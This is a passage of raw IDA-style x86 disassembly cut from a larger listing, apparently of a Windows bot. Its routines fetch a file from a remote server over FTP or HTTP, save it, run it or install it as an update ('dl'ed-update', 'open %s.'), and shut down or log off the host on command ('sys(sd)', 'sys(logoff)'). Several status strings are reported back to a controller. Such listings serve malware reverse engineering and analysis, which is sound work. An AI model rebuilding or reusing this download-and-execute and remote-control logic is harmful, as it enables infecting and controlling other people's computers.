esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 15h jz short loc_41CEB3 mov ecx, eax call sub_4021C6 mov edi, eax jmp short loc_41CEB5 ; --------------------------------------------------------------------------- loc_41CEB3: ; CODE XREF: sub_41C610+896j xor edi, edi loc_41CEB5: ; CODE XREF: sub_41C610+8A1j lea edx, [esp+124h+var_10C] lea ecx, [edi+11h] push edx mov byte ptr [esp+128h+var_4], bl call sub_401FBE lea eax, [esp+124h+var_DC] lea ecx, [edi+26h] push eax call sub_401FBE lea ecx, [esp+124h+var_C4] push ecx lea ecx, [edi+65h] call sub_401FBE lea edx, [esp+124h+var_AC] lea ecx, [edi+3Bh] push edx call sub_401FBE lea eax, [esp+124h+var_94] lea ecx, [edi+50h] push eax call sub_401FBE lea ecx, [esi+69h] push ecx lea ecx, [edi+7Ah] call sub_401FBE mov byte ptr [edi+8Fh], 1 mov byte ptr [edi+90h], 0 mov byte ptr [edi+91h], 1 mov dl, [esi+93h] mov [edi+92h], dl mov al, [esi+94h] mov ecx, edi mov [edi+93h], al call sub_4013D4 loc_41CF40: ; CODE XREF: sub_41C610+7A1j lea ecx, [ebp+0EAh] call sub_4017E4 push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_41D1A1 push offset asc_443600 ; " " lea ecx, [esp+128h+var_F4] push 1 push ecx mov ecx, esi call sub_4016AE lea edx, [esp+124h+var_7C] mov ecx, eax push edx mov byte ptr [esp+128h+var_4], 16h call sub_401681 push eax call sub_401938 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D1A1 lea eax, [esp+124h+var_52] lea ecx, [esp+124h+var_AC] push eax call sub_401FBE lea ecx, [esp+124h+var_3D] push ecx lea ecx, [esp+128h+var_94] call sub_401FBE lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FBE lea eax, [esp+124h+var_24] lea ecx, [esp+124h+var_DC] push eax call sub_401FBE push 1 push offset asc_443600 ; " " lea ecx, [esp+12Ch+var_F4] push 2 push ecx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 17h call sub_401FBE lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push offset asc_443600 ; " " lea edx, [esp+128h+var_F4] push 3 push edx mov ecx, esi call sub_4016AE push offset word_44759A mov ecx, eax mov byte ptr [esp+128h+var_4], 18h call sub_401B72 test eax, eax lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl setz [esp+124h+var_111] call sub_401226 mov al, [esp+124h+var_111] test al, al jz short loc_41D0EC lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 4 call sub_4014B0 lea ecx, [esp+124h+var_C4] mov byte ptr [esp+124h+var_4], 3 call sub_401226 lea ecx, [esp+124h+var_94] mov byte ptr [esp+124h+var_4], 2 call sub_401226 lea ecx, [esp+124h+var_AC] mov byte ptr [esp+124h+var_4], 1 call sub_401226 lea ecx, [esp+124h+var_DC] mov byte ptr [esp+124h+var_4], 0 call sub_401226 lea ecx, [esp+124h+var_10C] mov [esp+124h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_41D212 ; --------------------------------------------------------------------------- loc_41D0EC: ; CODE XREF: sub_41C610+A64j push 94h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 19h jz short loc_41D114 mov ecx, eax call sub_4021C6 mov edi, eax jmp short loc_41D116 ; --------------------------------------------------------------------------- loc_41D114: ; CODE XREF: sub_41C610+AF7j xor edi, edi loc_41D116: ; CODE XREF: sub_41C610+B02j lea eax, [esp+124h+var_10C] lea ecx, [edi+11h] push eax mov byte ptr [esp+128h+var_4], bl call sub_401FBE lea ecx, [esp+124h+var_DC] push ecx lea ecx, [edi+26h] call sub_401FBE lea edx, [esp+124h+var_C4] lea ecx, [edi+65h] push edx call sub_401FBE lea eax, [esp+124h+var_AC] lea ecx, [edi+3Bh] push eax call sub_401FBE lea ecx, [esp+124h+var_94] push ecx lea ecx, [edi+50h] call sub_401FBE lea edx, [esi+69h] lea ecx, [edi+7Ah] push edx call sub_401FBE mov byte ptr [edi+8Fh], 0 mov byte ptr [edi+90h], 1 mov byte ptr [edi+91h], 1 mov al, [esi+93h] mov [edi+92h], al mov cl, [esi+94h] mov [edi+93h], cl mov ecx, edi call sub_4013D4 loc_41D1A1: ; CODE XREF: sub_41C610+116j ; sub_41C610+295j ... lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 4 call sub_4014B0 lea ecx, [esp+124h+var_C4] mov byte ptr [esp+124h+var_4], 3 call sub_401226 lea ecx, [esp+124h+var_94] mov byte ptr [esp+124h+var_4], 2 call sub_401226 lea ecx, [esp+124h+var_AC] mov byte ptr [esp+124h+var_4], 1 call sub_401226 lea ecx, [esp+124h+var_DC] mov byte ptr [esp+124h+var_4], 0 call sub_401226 lea ecx, [esp+124h+var_10C] mov [esp+124h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 loc_41D212: ; CODE XREF: sub_41C610+549j ; sub_41C610+AD7j mov ecx, [esp+124h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 114h retn 4 sub_41C610 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 310h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41D540 proc near ; CODE XREF: sub_401B36j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41D540 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401424 lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_401424 lea ecx, [esi+2Ah] mov byte ptr [esp+14h+var_4], 1 call sub_401424 lea ecx, [esi+3Fh] mov byte ptr [esp+14h+var_4], 2 call sub_401424 lea ecx, [esi+58h] mov byte ptr [esp+14h+var_4], 3 call sub_401424 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_41D540 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41D5D0 proc near ; CODE XREF: sub_4014B0j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41D5D0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+58h] mov [esp+14h+var_4], 3 call sub_401226 lea ecx, [esi+3Fh] mov byte ptr [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+2Ah] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+15h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_41D5D0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41D670 proc near ; CODE XREF: sub_4021C6j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41D670 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401E6A lea ecx, [esi+11h] mov [esp+14h+var_4], 0 call sub_401424 lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_401424 lea ecx, [esi+3Bh] mov byte ptr [esp+14h+var_4], 2 call sub_401424 lea ecx, [esi+50h] mov byte ptr [esp+14h+var_4], 3 call sub_401424 lea ecx, [esi+65h] mov byte ptr [esp+14h+var_4], 4 call sub_401424 lea ecx, [esi+7Ah] mov byte ptr [esp+14h+var_4], 5 call sub_401424 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E0D0 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_41D670 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_41D730: ; CODE XREF: ___:00401168j ; ___:loc_4019E7j push esi mov esi, ecx call sub_4015C3 test byte ptr [esp+8], 1 jz short loc_41D748 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_41D748: ; CODE XREF: ___:0041D73Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41D760 proc near ; CODE XREF: sub_4015C3j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41D760 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset off_43E0D0 lea ecx, [esi+7Ah] mov [esp+14h+var_4], 5 call sub_401226 lea ecx, [esi+65h] mov byte ptr [esp+14h+var_4], 4 call sub_401226 lea ecx, [esi+50h] mov byte ptr [esp+14h+var_4], 3 call sub_401226 lea ecx, [esi+3Bh] mov byte ptr [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+11h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_402031 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_41D760 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_41D830 proc near ; CODE XREF: sub_401C80j var_48 = dword ptr -48h var_40 = byte ptr -40h var_34 = dword ptr -34h var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_10 = byte ptr 14h arg_14 = byte ptr 18h arg_20 = byte ptr 24h arg_38 = byte ptr 3Ch arg_44 = byte ptr 48h arg_10C = byte ptr 110h arg_11C = byte ptr 120h arg_12C = byte ptr 130h arg_110C = dword ptr 1110h arg_1110 = byte ptr 1114h arg_112C = dword ptr 1130h arg_1134 = dword ptr 1138h arg_1144 = byte ptr 1148h arg_1150 = dword ptr 1154h ; FUNCTION CHUNK AT 0041DF4B SIZE 0000001B BYTES push 0FFFFFFFFh mov eax, large fs:0 push offset loc_43B0F2 push eax mov eax, 1158h mov large fs:0, esp call sub_436840 push ebx push ebp push esi mov esi, ecx push edi push offset byte_446F70 lea edi, [esi+11h] mov ecx, edi call sub_4012EE test eax, eax jz loc_41DF38 lea ebx, [esi+65h] push offset byte_446F70 mov ecx, ebx call sub_4012EE test eax, eax jz loc_41DF38 lea ecx, [esi+26h] push offset byte_446F70 call sub_4012EE test eax, eax jz loc_41DF38 mov al, [esi+91h] test al, al jz short loc_41D8D1 push offset byte_446F70 lea ecx, [esi+3Bh] call sub_4012EE test eax, eax jz short loc_41D8C4 push offset byte_446F70 lea ecx, [esi+50h] call sub_4012EE test eax, eax jnz short loc_41D8D1 loc_41D8C4: ; CODE XREF: sub_41D830+81j mov [esp+1Ch+var_8], esi lea eax, [esp+1Ch+var_8] jmp loc_41DF40 ; --------------------------------------------------------------------------- loc_41D8D1: ; CODE XREF: sub_41D830+70j ; sub_41D830+92j push offset asc_443C94 ; ":" lea ecx, [esp+20h] push 1 push ecx mov ecx, edi call sub_4016AE push offset byte_446F70 mov ecx, eax mov [esp+20h+arg_1150], 0 call sub_4012EE lea ecx, [esp+1Ch] mov ebp, eax mov [esp+1Ch+arg_1150], 0FFFFFFFFh call sub_401226 test ebp, ebp jz short loc_41D95E push offset asc_443C94 ; ":" lea edx, [esp+20h] push 1 push edx mov ecx, edi call sub_4016AE mov ecx, eax mov [esp+1Ch+arg_1150], 1 call sub_4017E4 push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+1Ch] mov ebp, eax mov [esp+1Ch+arg_1150], 0FFFFFFFFh call sub_401226 test ebp, ebp jnz short loc_41D96F loc_41D95E: ; CODE XREF: sub_41D830+E3j mov al, [esi+91h] neg al sbb eax, eax and al, 0C5h add eax, 50h mov ebp, eax loc_41D96F: ; CODE XREF: sub_41D830+12Cj push offset asc_443C94 ; ":" lea ecx, [esp+20h+arg_14] push 0 push ecx mov ecx, edi call sub_4016AE lea edx, [esp+1Ch+arg_14] mov ecx, edi push edx mov [esp+20h+arg_1150], 2 call sub_401FBE lea eax, [esp+1Ch+arg_44] push 104h push eax mov ecx, ebx call sub_4017E4 push eax nop call near ptr 2800000h lea ecx, [esp+28h+arg_38] push ecx mov ecx, ebx call sub_4015D7 mov al, [esi+91h] test al, al jz loc_41DB04 call sub_401E06 ; --------------------------------------------------------------------------- lea edx, [esp+28h+var_14] mov ecx, edi push edx call sub_4017E4 push eax call sub_401A69 ; --------------------------------------------------------------------------- add esp, 8 test eax, eax jnz short loc_41DA1C lea ecx, [esi+7Ah] call sub_401681 mov cl, [esi+92h] push eax mov al, [esi+93h] push offset aFtpBadconnect ; "ftp(badconnect)" push eax push ecx mov ecx, offset byte_4D60B5 call sub_401118 mov [esp+28h+var_18], esi lea edx, [esp+28h+var_18] jmp loc_41DF17 ; --------------------------------------------------------------------------- loc_41DA1C: ; CODE XREF: sub_41D830+1B7j mov eax, [esp+28h+var_14] lea ecx, [esi+50h] push eax call sub_4017E4 push eax lea ecx, [esi+3Bh] call sub_4017E4 push eax call sub_402243 add esp, 0Ch test eax, eax jnz short loc_41DA73 lea ecx, [esi+7Ah] call sub_401681 mov cl, [esi+93h] mov dl, [esi+92h] push eax push offset aFtpBadlogin ; "ftp(badlogin)" push ecx push edx mov ecx, offset byte_4D60B5 call sub_401118 lea eax, [esp+28h+var_18] mov [esp+28h+var_18], esi push eax jmp loc_41DF18 ; --------------------------------------------------------------------------- loc_41DA73: ; CODE XREF: sub_41D830+20Dj lea edi, [esi+7Ah] mov ecx, edi call sub_401681 mov cl, [esi+93h] mov dl, [esi+92h] push eax push offset aFtpGetting ; "ftp(getting)" push ecx push edx mov ecx, offset byte_4D60B5 call sub_401118 mov eax, [esp+28h+var_14] lea ecx, [esi+26h] push eax push 49h call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax call sub_4016A9 add esp, 10h test eax, eax jnz short loc_41DAF2 mov ecx, edi call sub_401681 mov cl, [esi+93h] mov dl, [esi+92h] push eax push offset aFtpBaddl ; "ftp(baddl)" push ecx push edx mov ecx, offset byte_4D60B5 call sub_401118 lea eax, [esp+28h+var_18] mov [esp+28h+var_18], esi push eax jmp loc_41DF18 ; --------------------------------------------------------------------------- loc_41DAF2: ; CODE XREF: sub_41D830+28Dj mov ecx, [esp+28h+var_14] push ecx call sub_401D52 add esp, 4 jmp loc_41DD7B ; --------------------------------------------------------------------------- loc_41DB04: ; CODE XREF: sub_41D830+195j lea ecx, [esp+28h+arg_20] call sub_401424 lea ecx, [esp+28h+var_C] mov [esp+28h+arg_1144], 3 call sub_401424 push ebp mov ecx, edi mov [esp+2Ch+arg_1144], 4 call sub_4017E4 push eax call sub_401A8C mov ebx, eax add esp, 8 cmp ebx, 0FFFFFFFFh mov [esp+28h+var_14], ebx jnz short loc_41DB87 lea ecx, [esi+7Ah] call sub_401681 mov dl, [esi+93h] push eax mov al, [esi+92h] push offset aHttpBadconnect ; "http(badconnect)" push edx push eax mov ecx, offset byte_4D60B5 call sub_401118 lea ecx, [esp+28h+var_18] mov [esp+28h+var_18], esi push ecx mov ecx, offset byte_4E6EDB call sub_40120D ; --------------------------------------------------------------------------- db 53h db 90h db 0E8h, 0B7h, 0BAh ; --------------------------------------------------------------------------- imul esi, [ecx-17h], 0BEh loc_41DB87: ; CODE XREF: sub_41D830+310j push ebp mov ecx, edi call sub_4017E4 push eax lea ecx, [esi+26h] call sub_4017E4 push eax lea edx, [esp+34h+arg_20] push offset aGetSHttp1_0Con ; "GET %s HTTP/1.0\r\nConnection: Keep-Alive"... push edx call sub_40102D add esp, 14h lea ecx, [esp+28h+arg_20] push 0 call sub_4013D9 push eax lea ecx, [esp+30h+arg_20] call sub_4017E4 push eax push ebx call near ptr 71AB428Ah nop lea edi, [esi+7Ah] mov ecx, edi call sub_401681 mov cl, [esi+92h] push eax mov al, [esi+93h] push offset aHttpGetting ; "http(getting)" push eax push ecx mov ecx, offset byte_4D60B5 call sub_401118 push offset aWb ; "wb" lea ecx, [esi+65h] call sub_4017E4 push eax nop call near ptr 77C3F010h mov ebx, eax add esp, 8 test ebx, ebx jnz short loc_41DC80 mov ecx, edi call sub_401681 mov dl, [esi+93h] push eax mov al, [esi+92h] push offset aHttpBadopen ; "http(badopen)" push edx push eax mov ecx, offset byte_4D60B5 call sub_401118 lea ecx, [esp+38h+var_28] mov [esp+38h+var_28], esi push ecx mov ecx, offset byte_4E6EDB call sub_40120D ; --------------------------------------------------------------------------- lea ecx, [esp+38h+var_1C] mov byte ptr [esp+38h+arg_1134], 3 call sub_401226 lea ecx, [esp+38h+arg_10] mov byte ptr [esp+38h+arg_1134], 2 call sub_401226 lea ecx, [esp+38h+var_4] mov [esp+38h+arg_1134], 0FFFFFFFFh call sub_401226 jmp loc_41DF4B ; --------------------------------------------------------------------------- loc_41DC80: ; CODE XREF: sub_41D830+3DBj ; sub_41D830+484j ... mov eax, [esp+38h+var_24] push 0 lea edx, [esp+3Ch+arg_12C] push 1000h push edx push eax call near ptr 71AB615Ah nop mov ebp, eax test ebp, ebp jle short loc_41DCF8 cmp ebp, 1000h jge short loc_41DCB0 mov [esp+ebp+48h+arg_11C], 0 loc_41DCB0: ; CODE XREF: sub_41D830+476j xor edi, edi test ebp, ebp jle short loc_41DC80 loc_41DCB6: ; CODE XREF: sub_41D830+4A5j push 4 lea ecx, [esp+edi+4Ch+arg_11C] push offset asc_443EF8 ; "\r\n\r\n" push ecx nop call near ptr 77C47A50h add esp, 0Ch test eax, eax jz short loc_41DCD9 inc edi cmp edi, ebp jl short loc_41DCB6 jmp short loc_41DC80 ; --------------------------------------------------------------------------- loc_41DCD9: ; CODE XREF: sub_41D830+4A0j add edi, 4 cmp edi, ebp jge short loc_41DCF8 loc_41DCE0: ; CODE XREF: sub_41D830+4C6j movsx edx, [esp+edi+48h+arg_11C] push ebx push edx call near ptr 77C40E76h nop add esp, 8 inc edi cmp edi, ebp jl short loc_41DCE0 loc_41DCF8: ; CODE XREF: sub_41D830+46Ej ; sub_41D830+4AEj ... mov edi, [esp+48h+var_34] push 0 lea eax, [esp+4Ch+arg_11C] push 1000h push eax push edi nop call near ptr 71AB615Ah mov ebp, eax test ebp, ebp jle short loc_41DD48 cmp ebp, 1000h jge short loc_41DD28 mov [esp+ebp+58h+arg_10C], 0 loc_41DD28: ; CODE XREF: sub_41D830+4EEj xor edi, edi test ebp, ebp jle short loc_41DCF8 loc_41DD2E: ; CODE XREF: sub_41D830+514j movsx ecx, [esp+edi+58h+arg_10C] push ebx push ecx nop call near ptr 77C40E76h add esp, 8 inc edi cmp edi, ebp jl short loc_41DD2E jmp short loc_41DCF8 ; --------------------------------------------------------------------------- loc_41DD48: ; CODE XREF: sub_41D830+4E6j push ebx nop call near ptr 77C40AB1h add esp, 4 push edi nop call near ptr 71AB9639h lea ecx, [esp+5Ch+var_40] mov [esp+5Ch+arg_1110], 3 call sub_401226 lea ecx, [esp+5Ch+var_10] mov [esp+5Ch+arg_1110], 2 call sub_401226 loc_41DD7B: ; CODE XREF: sub_41D830+2CFj mov al, [esi+90h] test al, al jnz loc_41DE17 lea ebp, [esi+65h] mov ecx, ebp call sub_4017E4 lea edi, [esi+7Ah] push eax push offset aDlDone_S_ ; "dl, done. %s ." mov ecx, edi call sub_401681 mov dl, [esi+93h] push eax mov al, [esi+92h] push edx push eax push offset byte_4D60B5 call sub_401848 mov al, [esi+8Fh] add esp, 18h test al, al jz loc_41DF0F push offset byte_446F70 mov ecx, ebp call sub_4017E4 push eax call sub_401299 add esp, 8 mov ecx, ebp call sub_4017E4 push eax push offset aOpenS_ ; "open %s." mov ecx, edi call sub_401681 mov cl, [esi+93h] mov dl, [esi+92h] push eax push ecx push edx push offset byte_4D60B5 call sub_401848 add esp, 18h jmp loc_41DF0F ; --------------------------------------------------------------------------- loc_41DE17: ; CODE XREF: sub_41D830+553j lea ebx, [esi+65h] mov ecx, ebx call sub_4017E4 lea edi, [esi+7Ah] push eax push offset aDlEdUpdateS ; "dl'ed-update: %s" mov ecx, edi call sub_401681 mov cl, [esi+92h] push eax mov al, [esi+93h] push eax push ecx push offset byte_4D60B5 call sub_401848 add esp, 18h lea edx, [esp+5Ch+var_40] push 0 push 5 push 14h push 1 push 4 push 10h push 15h push 51h push edx call sub_4019B5 add esp, 24h mov ecx, eax mov [esp+5Ch+arg_1110], 5 call sub_4014D3 push eax mov ecx, ebx call sub_4014D3 push eax call sub_402149 add esp, 8 lea ecx, [esp+5Ch+var_40] mov bl, al mov [esp+5Ch+arg_1110], 2 call sub_401226 test bl, bl jz short loc_41DEEA mov al, byte_4478D6 test al, al jz short loc_41DEB9 push offset dword_447874 mov ecx, offset dword_448DB0 call sub_401447 loc_41DEB9: ; CODE XREF: sub_41D830+678j mov al, byte_44791F test al, al jz short loc_41DED1 push offset byte_44794F mov ecx, offset dword_448DB0 call sub_401942 loc_41DED1: ; CODE XREF: sub_41D830+690j mov ecx, offset dword_448DB0 call sub_401E5B push 1 mov byte_4E6E84, 0 nop call near ptr 77C39E7Eh loc_41DEEA: ; CODE XREF: sub_41D830+66Fj mov ecx, edi call sub_4014D3 mov cl, [esi+92h] push eax mov al, [esi+93h] push offset aExec_error ; "exec.error" push eax push ecx mov ecx, offset byte_4D60B5 call sub_401118 loc_41DF0F: ; CODE XREF: sub_41D830+597j ; sub_41D830+5E2j mov [esp+60h+var_48], esi lea edx, [esp+60h+var_48] loc_41DF17: ; CODE XREF: sub_41D830+1E7j push edx loc_41DF18: ; CODE XREF: sub_41D830+23Ej ; sub_41D830+2BDj mov ecx, offset byte_4E6EDB call sub_40120D ; --------------------------------------------------------------------------- lea ecx, [esp+60h+var_2C] mov [esp+60h+arg_110C], 0FFFFFFFFh call sub_401226 jmp short loc_41DF4B ; --------------------------------------------------------------------------- loc_41DF38: ; CODE XREF: sub_41D830+36j ; sub_41D830+4Dj ... mov [esp+1Ch+var_C], esi lea eax, [esp+1Ch+var_C] loc_41DF40: ; CODE XREF: sub_41D830+9Cj push eax mov ecx, offset byte_4E6EDB call sub_40120D sub_41D830 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41D830 loc_41DF4B: ; CODE XREF: sub_41D830+44Bj ; sub_41D830+706j mov ecx, [esp+38h+arg_112C] pop edi pop esi pop ebp xor eax, eax pop ebx mov large fs:0, ecx add esp, 1164h retn ; END OF FUNCTION CHUNK FOR sub_41D830 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 1D0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_41E140 proc near ; CODE XREF: sub_401B90j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41E140 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push 0 push 14h push 0Fh push 0Fh push 2 push 5 push 12h push 4Fh push 3 lea eax, [esp+64h+var_3C] push 10h mov esi, ecx push eax call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov [esp+44h+var_4], 0 call sub_4017E4 lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_447158 call sub_401591 sub_41E140 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 0Eh push 17h push 0Fh push 4 push 14h push 15h push 8 push 13h push 4Fh push 3 lea edx, [esp+30h] push 10h push edx call sub_4019B5 add esp, 34h push esi mov ecx, eax mov dword ptr [esp+40h], 1 call sub_4017E4 push eax lea eax, [esi+32h] push eax mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 6 push 6 push 0Fh push 7 push 0Fh push 0Ch push 4Fh push 3 lea ecx, [esp+40h] push 10h push ecx call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+40h], 2 call sub_4017E4 add esi, 60h push eax push esi mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+1Ch] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h] pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_41E2C0: ; CODE XREF: ___:loc_4010B4j push ebx push esi push edi mov edi, [esp+10h] mov esi, ecx lea ebx, [edi+7Eh] lea ecx, [esi+4] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_41E31B push offset dword_443FFC lea ecx, [edi+69h] call sub_401681 mov cl, [edi+93h] push eax mov al, [edi+94h] push eax push ecx push offset byte_4D60B5 call sub_401848 add esp, 14h push 0 push 6 call near ptr 28A03DAh nop pop edi pop esi xor al, al pop ebx retn 4 ; --------------------------------------------------------------------------- loc_41E31B: ; CODE XREF: ___:0041E2DEj lea ecx, [esi+32h] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_41E36A push offset aSysSd ; "sys(sd)" lea ecx, [edi+69h] call sub_401681 mov dl, [edi+94h] push eax mov al, [edi+93h] push edx push eax push offset byte_4D60B5 call sub_401848 add esp, 14h push 0 push 5 nop call near ptr 28A03DAh pop edi pop esi xor al, al pop ebx retn 4 ; --------------------------------------------------------------------------- loc_41E36A: ; CODE XREF: ___:0041E32Dj lea ecx, [esi+60h] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_41E3B1 push offset aSysLogoff ; "sys(logoff)" lea ecx, [edi+69h] call sub_401681 mov cl, [edi+94h] mov dl, [edi+93h] push eax push ecx push edx push offset byte_4D60B5 call sub_401848 add esp, 14h push 0 push 4 nop call near ptr 28A03DAh loc_41E3B1: ; CODE XREF: ___:0041E37Cj pop edi pop esi xor al, al pop ebx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_41E400 proc near ; CODE XREF: sub_401F5Fj var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41E400 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 14h push 13h push 9 push 0Ch push 4Fh push 0Ch push 12h push 14h push 3 lea eax, [esp+6Ch+var_3C] push 10h mov esi, ecx push eax call sub_4019B5 add esp, 30h push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017E4 lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_447158 call sub_401591 sub_41E400 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Ch push 0Ch push 9 push 0Bh push 4Fh push 0Ch push 12h push 14h push 3 lea edx, [esp+30h] push 10h push edx call sub_4019B5 add esp, 30h push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017E4 push eax lea eax, [esi+32h] push eax mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 3 push 16h push 13h push 14h push 13h push 9 push 0Ch push 4Fh push 0Ch push 12h push 14h push 3 lea ecx, [esp+3Ch] push 10h push ecx call sub_4019B5 add esp, 3Ch mov dword ptr [esp+40h], 2 push esi mov ecx, eax call sub_4017E4 lea edx, [esi+8Eh] push eax push edx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 3 push 16h push 13h push 0Ch push 0Ch push 9 push 0Bh push 4Fh push 0Ch push 12h push 14h push 3 lea eax, [esp+3Ch] push 10h push eax call sub_4019B5 add esp, 3Ch push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017E4 lea ecx, [esi+0BCh] push eax push ecx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 4 push 9 push 10h push 0Ch push 0Ch push 9 push 0Bh push 4Fh push 0Ch push 12h push 14h push 3 lea edx, [esp+54h] push 10h push edx call sub_4019B5 add esp, 3Ch push esi mov ecx, eax mov dword ptr [esp+44h], 4 call sub_4017E4 add esi, 60h push eax push esi mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41E660 proc near ; CODE XREF: sub_401613j var_50 = dword ptr -50h var_4C = byte ptr -4Ch var_48 = byte ptr -48h var_3C = byte 